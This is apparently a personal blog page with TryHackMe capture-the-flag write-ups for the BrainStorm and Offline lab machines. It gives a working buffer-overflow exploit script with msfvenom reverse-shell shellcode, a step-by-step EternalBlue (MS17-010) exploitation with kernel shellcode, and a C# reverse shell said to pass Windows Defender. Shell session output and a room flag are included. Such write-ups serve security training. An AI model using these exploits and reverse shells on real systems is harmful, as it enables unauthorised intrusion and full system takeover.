thm-brainstorm-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play  Tryhackme’s BrainStorm at

https://tryhackme.com/room/brainstorm

Enumeration

Run nmap to scan port

nmap -sS -sV -A -Pn 10.10.239.61

As a result, there are 3 ports used, port 21, 3389 and 9999 . In which port 21 allows anonymous FTP access.

Check the FTP port

FTP to the service server using an anonymous account

Use dir to check the ftp directory

Access the directory and check, there are 2 files chatserver.exe and essfunc.dll. This is the chat server file that the server is using to listen on port 9999

Download Binary 2 file for analysis. (If not set Binary, 2 download files will always be missing dozens of bytes, and cannot be executed)

Analysis chatserver.exe

Open chatserver.exe with Immunity Debugger

Create a pattern to pass test input.

Use python to send this pattern to the server

Buffer overflow occurs. The EIP value to be entered is 31704330.

Use pattern_offet. We see that offset is 2012, meaning that the buffer string has size of 2012 bytes. Including 2008 byte data + 4 bytes EBP + 4 bytes EIP.

So we know where the EIP is located, and from which we can control the EIP.

Control EIP

Use ! Mona jmp -r esp to find the address of the JMP ESP instruction in memory

This article will take address 0x62501527 to use for payload.

Notice here that the ASLR and SafeSEH protection mechanisms are disabled.

The payload for JMP ESP address will be written in reverse and in hex format like ‘\ x27 \ x15 \ x50 \ x62’

Exploit Development

Use msfvenom tool to generate payload

root@kali:~/thm/brainstorm# msfvenom -p windows/exec -b ‘\x00\x0A’ -f python CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf = ""
buf += "\xdb\xd8\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x31\xb8\xb1"
buf += "\xc8\x5c\x5b\x83\xc5\x04\x31\x45\x14\x03\x45\xa5\x2a"
buf += "\xa9\xa7\x2d\x28\x52\x58\xad\x4d\xda\xbd\x9c\x4d\xb8"
buf += "\xb6\x8e\x7d\xca\x9b\x22\xf5\x9e\x0f\xb1\x7b\x37\x3f"
buf += "\x72\x31\x61\x0e\x83\x6a\x51\x11\x07\x71\x86\xf1\x36"
buf += "\xba\xdb\xf0\x7f\xa7\x16\xa0\x28\xa3\x85\x55\x5d\xf9"
buf += "\x15\xdd\x2d\xef\x1d\x02\xe5\x0e\x0f\x95\x7e\x49\x8f"
buf += "\x17\x53\xe1\x86\x0f\xb0\xcc\x51\xbb\x02\xba\x63\x6d"
buf += "\x5b\x43\xcf\x50\x54\xb6\x11\x94\x52\x29\x64\xec\xa1"
buf += "\xd4\x7f\x2b\xd8\x02\xf5\xa8\x7a\xc0\xad\x14\x7b\x05"
buf += "\x2b\xde\x77\xe2\x3f\xb8\x9b\xf5\xec\xb2\xa7\x7e\x13"
buf += "\x15\x2e\xc4\x30\xb1\x6b\x9e\x59\xe0\xd1\x71\x65\xf2"
buf += "\xba\x2e\xc3\x78\x56\x3a\x7e\x23\x3c\xbd\x0c\x59\x72"
buf += "\xbd\x0e\x62\x22\xd6\x3f\xe9\xad\xa1\xbf\x38\x8a\x4e"
buf += "\x22\xe9\xe6\xe6\xfb\x78\x4b\x6b\xfc\x56\x8f\x92\x7f"
buf += "\x53\x6f\x61\x9f\x16\x6a\x2d\x27\xca\x06\x3e\xc2\xec"
buf += "\xb5\x3f\xc7\x8e\x58\xac\x8b\x7e\xff\x54\x29\x7f"

Generating working shellcode !

root@kali:~/thm# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.3.122 LPORT=7777 -b"\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xbf\xe9\xe6\x28\x5f\xda\xd7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x31\x7a\x12\x83\xea\xfc\x03\x93\xe8\xca\xaa\x9f\x1d\x88"
"\x55\x5f\xde\xed\xdc\xba\xef\x2d\xba\xcf\x40\x9e\xc8\x9d\x6c"
"\x55\x9c\x35\xe6\x1b\x09\x3a\x4f\x91\x6f\x75\x50\x8a\x4c\x14"
"\xd2\xd1\x80\xf6\xeb\x19\xd5\xf7\x2c\x47\x14\xa5\xe5\x03\x8b"
"\x59\x81\x5e\x10\xd2\xd9\x4f\x10\x07\xa9\x6e\x31\x96\xa1\x28"
"\x91\x19\x65\x41\x98\x01\x6a\x6c\x52\xba\x58\x1a\x65\x6a\x91"
"\xe3\xca\x53\x1d\x16\x12\x94\x9a\xc9\x61\xec\xd8\x74\x72\x2b"
"\xa2\xa2\xf7\xaf\x04\x20\xaf\x0b\xb4\xe5\x36\xd8\xba\x42\x3c"
"\x86\xde\x55\x91\xbd\xdb\xde\x14\x11\x6a\xa4\x32\xb5\x36\x7e"
"\x5a\xec\x92\xd1\x63\xee\x7c\x8d\xc1\x65\x90\xda\x7b\x24\xfd"
"\x2f\xb6\xd6\xfd\x27\xc1\xa5\xcf\xe8\x79\x21\x7c\x60\xa4\xb6"
"\x83\x5b\x10\x28\x7a\x64\x61\x61\xb9\x30\x31\x19\x68\x39\xda"
"\xd9\x95\xec\x4d\x89\x39\x5f\x2e\x79\xfa\x0f\xc6\x93\xf5\x70"
"\xf6\x9c\xdf\x18\x9d\x67\x88\x2c\x69\x64\x32\x59\x6f\x6a\xdc"
"\xf8\xe6\x8c\x8a\xea\xae\x07\x23\x92\xea\xd3\xd2\x5b\x21\x9e"
"\xd5\xd0\xc6\x5f\x9b\x10\xa2\x73\x4c\xd1\xf9\x29\xdb\xee\xd7"
"\x45\x87\x7d\xbc\x95\xce\x9d\x6b\xc2\x87\x50\x62\x86\x35\xca"
"\xdc\xb4\xc7\x8a\x27\x7c\x1c\x6f\xa9\x7d\xd1\xcb\x8d\x6d\x2f"
"\xd3\x89\xd9\xff\x82\x47\xb7\xb9\x7c\x26\x61\x10\xd2\xe0\xe5"
"\xe5\x18\x33\x73\xea\x74\xc5\x9b\x5b\x21\x90\xa4\x54\xa5\x14"
"\xdd\x88\x55\xda\x34\x09\x65\x91\x14\x38\xee\x7c\xcd\x78\x73"
"\x7f\x38\xbe\x8a\xfc\xc8\x3f\x69\x1c\xb9\x3a\x35\x9a\x52\x37"
"\x26\x4f\x54\xe4\x47\x5a";
root@kali:~/thm# gedit shell.py

The above payload will use the reverse shell bind tcp, use port 7777 and have removed the bad characters x00 

After the payload, we write python to exploit, with the following payload

Payload = 2012 bytes junk + 4 bytes EIP + 16 bytes NOPS + Shellcode + junk

Execute the python file above ( after the calc is popping o.k.)

Finaly working with

https://github.com/puckiestyle/python/blob/master/thm-brainstorm-revshell.py

root@kali:~/thm# cat shell.py 
import socket
import sys

username = b"puckie"

message = b"A" * 2012 + b"\xdf\x14\x50\x62" + b"\x90" * 32

#generated with msfvenom -p windows/shell_reverse_tcp LHOST=10.11.3.122 LPORT=7777 -b"\x00" -f c

payload = (b"\xbf\xe9\xe6\x28\x5f\xda\xd7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
b"\x52\x31\x7a\x12\x83\xea\xfc\x03\x93\xe8\xca\xaa\x9f\x1d\x88"
b"\x55\x5f\xde\xed\xdc\xba\xef\x2d\xba\xcf\x40\x9e\xc8\x9d\x6c"
b"\x55\x9c\x35\xe6\x1b\x09\x3a\x4f\x91\x6f\x75\x50\x8a\x4c\x14"
b"\xd2\xd1\x80\xf6\xeb\x19\xd5\xf7\x2c\x47\x14\xa5\xe5\x03\x8b"
b"\x59\x81\x5e\x10\xd2\xd9\x4f\x10\x07\xa9\x6e\x31\x96\xa1\x28"
b"\x91\x19\x65\x41\x98\x01\x6a\x6c\x52\xba\x58\x1a\x65\x6a\x91"
b"\xe3\xca\x53\x1d\x16\x12\x94\x9a\xc9\x61\xec\xd8\x74\x72\x2b"
b"\xa2\xa2\xf7\xaf\x04\x20\xaf\x0b\xb4\xe5\x36\xd8\xba\x42\x3c"
b"\x86\xde\x55\x91\xbd\xdb\xde\x14\x11\x6a\xa4\x32\xb5\x36\x7e"
b"\x5a\xec\x92\xd1\x63\xee\x7c\x8d\xc1\x65\x90\xda\x7b\x24\xfd"
b"\x2f\xb6\xd6\xfd\x27\xc1\xa5\xcf\xe8\x79\x21\x7c\x60\xa4\xb6"
b"\x83\x5b\x10\x28\x7a\x64\x61\x61\xb9\x30\x31\x19\x68\x39\xda"
b"\xd9\x95\xec\x4d\x89\x39\x5f\x2e\x79\xfa\x0f\xc6\x93\xf5\x70"
b"\xf6\x9c\xdf\x18\x9d\x67\x88\x2c\x69\x64\x32\x59\x6f\x6a\xdc"
b"\xf8\xe6\x8c\x8a\xea\xae\x07\x23\x92\xea\xd3\xd2\x5b\x21\x9e"
b"\xd5\xd0\xc6\x5f\x9b\x10\xa2\x73\x4c\xd1\xf9\x29\xdb\xee\xd7"
b"\x45\x87\x7d\xbc\x95\xce\x9d\x6b\xc2\x87\x50\x62\x86\x35\xca"
b"\xdc\xb4\xc7\x8a\x27\x7c\x1c\x6f\xa9\x7d\xd1\xcb\x8d\x6d\x2f"
b"\xd3\x89\xd9\xff\x82\x47\xb7\xb9\x7c\x26\x61\x10\xd2\xe0\xe5"
b"\xe5\x18\x33\x73\xea\x74\xc5\x9b\x5b\x21\x90\xa4\x54\xa5\x14"
b"\xdd\x88\x55\xda\x34\x09\x65\x91\x14\x38\xee\x7c\xcd\x78\x73"
b"\x7f\x38\xbe\x8a\xfc\xc8\x3f\x69\x1c\xb9\x3a\x35\x9a\x52\x37"
b"\x26\x4f\x54\xe4\x47\x5a")

try:
print("Sending the payload ...")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.190.194',9999))
s.recv(1024)
s.recv(1024)
s.send(username + b'\r\n')
s.recv(1024)
s.send(message + payload + b'\r\n')
s.recv(1024)
s.close()

except:
print("Cannot connect to the server ...")
sys.exit()

root@kali:~/thm#

.

Whoami check and Read the flag file

root@kali:~/thm# nc -nlvp 7777
listening on [any] 7777 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.190.194] 49206
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Users\drake\Desktop>type root.txt
type root.txt
5b1001de5a44eca47eee71e7942a8f8a
C:\Users\drake\Desktop>systeminfo
systeminfo

Host Name: BRAINSTORM
OS Name: Microsoft Windows 7 Ultimate 
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: drake
Registered Organization: 
Product ID: 00426-292-0000007-85799
Original Install Date: 8/29/2019, 10:20:47 PM
System Boot Time: 5/29/2020, 3:05:43 AM
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2400 Mhz
BIOS Version: Xen 4.2.amazon, 8/24/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,048 MB
Available Physical Memory: 1,509 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,389 MB
Virtual Memory: In Use: 706 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 2 Hotfix(s) Installed.
[01]: KB2621440
[02]: KB976902
Network Card(s): 1 NIC(s) Installed.
[01]: AWS PV Network Device
Connection Name: Local Area Connection 2
DHCP Enabled: Yes
DHCP Server: 10.10.0.1
IP address(es)
[01]: 10.10.190.194
[02]: fe80::9839:cf64:53c8:aba2

C:\Users\drake\Desktop>

if you need the files to localy exploit chatserver , it’s exe and dll are at https://github.com/puckiestyle/pentest/blob/master/chatserver.zip

Author : PuckieStyle

 

Beveiligd: htb-akerva-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

thm-offline-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a KOTH CTF called Offline at

https://tryhackme.com/

1st a nmap scan

root@kali:/opt/MS17-010-2012# nmap -A 10.10.148.6 
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-18 03:19 EDT
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.148.6
Host is up (0.028s latency).
Not shown: 976 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst: 
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
| 3072 55:15:8d:d0:54:38:1b:d6:a9:9e:3f:b0:0b:b3:14:34 (RSA)
| 256 cf:5b:e2:de:ce:3b:04:e6:8c:24:6c:2f:37:25:05:c5 (ECDSA)
|_ 256 82:bf:bb:09:69:a7:25:5d:66:58:ea:c6:53:d8:c8:8e (ED25519)
53/tcp open domain?
| fingerprint-strings: 
| DNSVersionBindReqTCP: 
| version
|_ bind
80/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE COPY PROPFIND LOCK UNLOCK PROPPATCH MKCOL PUT DELETE MOVE
|_http-server-header: Microsoft-IIS/8.5
|_http-svn-info: ERROR: Script execution failed (use -d to debug)
|_http-title: Offline TV
| http-webdav-scan: 
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK
| Server Date: Mon, 18 May 2020 07:22:26 GMT
| Server Type: Microsoft-IIS/8.5
| WebDAV type: Unkown
| Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
| Directory Listing: 
| http://10.10.148.6/
| http://10.10.148.6/iis-85.png
| http://10.10.148.6/iisstart.htm
| http://10.10.148.6/otv.jpg
| http://10.10.148.6/Scarras_Super_Secret_Password.txt
| Exposed Internal IPs: 
|_ 10.10.148.6
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-18 07:20:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: kingofthe.domain, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds
| fingerprint-strings: 
| SMBProgNeg: 
|_ SMBr
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: kingofthe.domain, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Offline.kingofthe.domain
| Not valid before: 2020-04-07T00:07:50
|_Not valid after: 2020-10-07T00:07:50
|_ssl-date: 2020-05-18T07:22:27+00:00; 0s from scanner time.
9999/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/plain).
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49175/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=5/18%Time=5EC23727%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/18%OT=21%CT=1%CU=30177%PV=Y%DS=2%DC=T%G=Y%TM=5EC2382
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=7
OS:)OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M50
OS:8NW8ST11%O6=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000
OS:)ECN(R=Y%DF=Y%T=64%W=2000%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=64%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=64%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T
OS:=64%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=64%W=0%S=A%A=O%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=64%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=64%W=0%S
OS:=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=64%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=64%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=64%CD=Z)

Network Distance: 2 hops
Service Info: Host: OFFLINE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h45m00s, deviation: 3h30m00s, median: 0s
|_nbstat: NetBIOS name: OFFLINE, NetBIOS user: <unknown>, NetBIOS MAC: 02:93:15:c9:fb:80 (unknown)
| smb-os-discovery: 
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: Offline
| NetBIOS computer name: 
| Domain name: kingofthe.domain
| Forest name: kingofthe.domain
| FQDN: Offline.kingofthe.domain
|_ System time: 2020-05-18T00:22:28-07:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2020-05-18 03:22:28
|_ start_date: 2020-05-18 02:55:02

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 27.46 ms 10.11.0.1
2 27.57 ms 10.10.148.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 276.54 seconds
root@kali:/opt/MS17-010-2012#

files used

MS17-010-2012.zip

MS17-010-2012.py

modify to fit your need

root@kali:/opt/MS17-010-2012# cat ms17-010-puckiestyle.py | grep .exe
smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe') 
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# executing binary generated by "msfvenom -f exe-service ..."
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):

 

C# Simple Reverse Shell Code writing

Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple “open socket and launch the cmd.exe on victim machine”:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("10.0.2.15", 443))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}
Simple Reverse shell C# code

root@kali:~# nc -lvp 443
listening on [any] 443 ...
Kali Linux in listening mode

I put my kali in listening mode on 443 port with netcat, compiled and executed my code.

Scan the exe file with no Threats found

As you can see the .exe file is clean for Windows Defender. From AV side no malicious actions ware already performed. This could be a standard results.

file execution on victim machine

Executing file the cmd instance is visible to the user and if the prompt window will be closed the same will happen for the shell.

root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.178.14: inverse host lookup failed: Unknown host
connect to [192.168.178.16] from (UNKNOWN) [192.168.178.14] 25852
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\PENTEST>
C:\PENTEST>whoami
lt-jacco\jacco
Running reconnaissance commands on victim machine from Kali Linux

Running the exe file will spawn immediately the shell on my Kali.

Finding the C# compiler (csc.exe)

dir /s %WINDIR%\CSC.EXE

Compiling

c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:Simple_Rev_Shell443.exe Simple_Rev_Shell443.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

Simple_Rev_Shell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used

c:\PENTEST>dir Simple_Rev_Shell443.*
Volume in drive C is Boot
Volume Serial Number is 9488-7836

Directory of c:\PENTEST

09/02/2019 19:45 1.822 Simple_Rev_Shell443.cs
10/02/2019 10:27 5.120 Simple_Rev_Shell443.exe
2 File(s) 6.942 bytes
0 Dir(s) 6.854.045.696 bytes free

reference used : https://github.com/itaykrk/CSharp-reverse-tcp

Not for this, but if compiling saftykatz32.exe Why do I get the following error? Unsafe code may only appear if compiling with /unsafe”?vI work in C# and Visual Studio 2015 for programming on Windows .

To use unsafe code blocks, the project has to be compiled with the /unsafe switch on.

Open the properties for the project, go to the Build tab and check the Allow unsafe codecheckbox.

Let’s go exploting  MS17-010 the manual way.

root@kali:/opt/MS17-010-2012# python checker.py 10.10.148.6
Target OS: Windows Server 2012 R2 Standard 9600
The target is not patched

=== Testing named pipes ===
spoolss: Ok (64 bit)
samr: Ok (64 bit)
netlogon: Ok (64 bit)
lsarpc: Ok (64 bit)
browser: STATUS_OBJECT_NAME_NOT_FOUND

There may be times when you want to exploit MS17-010 (EternalBlue) without having to rely on using Metasploit. Perhaps you want to run it from a ‘Command & Control’ system without msf installed, run a quick demo or execute on the go. Unlike “zzz_exploit”, this method does not require access to a named pipe, nor does it require any credentials. The downside, however, is an increased risk of crashing the target. Kudos to Worawit Wang for making this easy.


Start by cloning the following repository:

$ git clone https://github.com/worawit/MS17-010.git

The shellcode directory holds (you guessed it) the kernel shellcodes.

$ ls -l MS17-010/shellcode/
total 44
-rw-r--r-- 1 root root 20305 Dec  2 22:03 eternalblue_kshellcode_x64.asm
-rw-r--r-- 1 root root 19862 Dec  2 22:03 eternalblue_kshellcode_x86.asm
-rw-r--r-- 1 root root  1589 Dec  2 22:03 eternalblue_sc_merge.py

The first step is to assemble shellcode to binary. You can do either one (depending which architecture your target is running), or assemble both and merge them to a single binary file. The latter is useful when you don’t know the target arch or if you are planning to run it against multiple systems with different architectures.


x64 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x64_payload.bin:

$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.11.3.122 --platform windows -a x64 --format raw -o sc_x64_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: sc_x64_payload.bin

Concentrate payload & shellcode:

$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

x86 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x86_payload.bin:

$ msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.11.3.122 --platform windows -a x86 --format raw -o sc_x86_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Saved as: sc_x86_payload.bin

Concentrate payload & shellcode:

$ cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

Merging binaries

This step is only necessary when you want both x64 and x86 in the same binary. Assuming that you followed the steps above for each architecture; merging is done with the included eternalblue_sc_merge.py script:

$ python MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Targets

The eternalblue scripts are located in MS17-010/ and have the following targets.

eternalblue_exploit7.py:

  • Windows Server 2008 & R2
  • Windows Server 2012 & R2 (x86)
  • Windows Server 2016 (x64)
  • Windows Vista
  • Windows 7

eternalblue_exploit8.py:

  • Windows Server 2012 (x64)
  • Windows 8.1 & RT
  • Windows 10 (x64) (build < 14393)

Running exploit

Word of advice; running these blindly against the target is a bad idea. Be sure to enumerate the OS first. Also, expect your target to crash or force a reboot once the session is closed.

Example running against vulnerable Windows 7 host:

It is now possible to run ​ zzz_exploit.py​ . A named pipe is required to execute the script, and in
this case ​ ntsvcs​ works just fine.

root@kali:/opt/MS17-010-2012# python eternalblue_exploit8.py 10.10.241.183 /opt/MS17-010-2012//shellcode/sc_x64.bin
shellcode size: 1232
numGroomConn: 13
Target OS: Windows Server 2012 R2 Standard 9600
got good NT Trans response
got good NT Trans response
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status for nx: INVALID_PARAMETER
good response status: INVALID_PARAMETER
done
root@kali:/opt/MS17-010-2012# nc -nlvp 443
listening on [any] 443 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.148.6] 49236
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\>hostname
hostname
Offline

C:\>dir flag.txt /s
dir flag.txt /s
 Volume in drive C has no label.
 Volume Serial Number is E403-33DE

 Directory of C:\Users\Administrator

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\fed

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\lily

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\mykull

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\poki

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\scarra

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\toast

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\yvonne

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

     Total Files Listed:
               8 File(s)            296 bytes
               0 Dir(s)  48,990,380,032 bytes free

C:\>
C:\Users\Administrator\king-server>dir
dir
Volume in drive C has no label.
Volume Serial Number is E403-33DE

Directory of C:\Users\Administrator\king-server

04/07/2020 08:12 PM <DIR> .
04/07/2020 08:12 PM <DIR> ..
04/14/2020 01:13 AM 0 king.txt
04/07/2020 08:16 PM 624 web.config
2 File(s) 624 bytes
2 Dir(s) 49,020,686,336 bytes free

C:\Users\Administrator\king-server>echo "puckiestyle" >> king.txt
echo "puckiestyle" >> king.txt

C:\Users\Administrator\king-server>type king.txt
type king.txt
"puckiestyle"
C:\Shares\King>dir
dir
Volume in drive C has no label.
Volume Serial Number is E403-33DE

Directory of C:\Shares\King

04/14/2020 02:16 PM <DIR> .
04/14/2020 02:16 PM <DIR> ..
04/13/2020 03:56 PM 25 exec.bat
05/18/2020 12:05 AM 83 king.txt
04/14/2020 03:32 PM 195 script.bat
3 File(s) 303 bytes
2 Dir(s) 48,962,973,696 bytes free

C:\Shares\King>type king.txt
type king.txt
"puckiestyle" 
has king! mykull queried king.txt at Mon 05/18/2020 0:05:01.04

C:\Shares\King>

Other stuff

Finding Users using https://github.com/trustedsec/ridenum

root@kali:/opt/ridenum# ./ridenum.py 10.10.227.210 500 50000 lily lolily
[*] Attempting lsaquery first...This will enumerate the base domain SID
[*] Successfully enumerated base domain SID. Printing information: 
Domain Name: KingOfTheDomain
